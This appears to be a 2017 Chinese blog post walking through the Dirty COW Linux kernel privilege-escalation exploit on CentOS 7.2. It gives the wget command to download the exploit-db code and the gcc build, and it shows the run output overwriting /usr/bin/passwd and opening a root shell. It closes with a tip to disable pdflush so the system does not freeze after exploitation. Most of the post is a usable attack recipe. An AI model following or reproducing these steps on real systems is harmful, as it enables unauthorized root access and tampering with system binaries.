关于脏牛

测试平台:CentOS7.2

编译工具GCC

mkdir cowroot

cd cowroot 
wget https://www.exploit-db.com/download/40616

mv 40616 cowroot.c
gcc cowroot.c -o cowroot -pthread

这时会发现GCC编译器有警告,不要管,当前目录下已经编译完成cowwroot文件了
执行cowroot

./cowroot

  • 执行

DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 57048
Racing, this may take a while..
/usr/bin/passwd is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped

会发现用户已经变为root


但这里有一个问题,在执行EXP之后十几秒后,系统会卡死,在kali2.0(debian)  CentOS7.2 
ubuntu14.04测试都卡死
这样就算到时候利用这个漏洞提权成功,卡死后也没用了,只能重新登陆

方法是关闭pdfflush刷新,防止死机

posted @ 2017-06-13 01:06  Hookjoy  阅读(755)  评论(0编辑  收藏  举报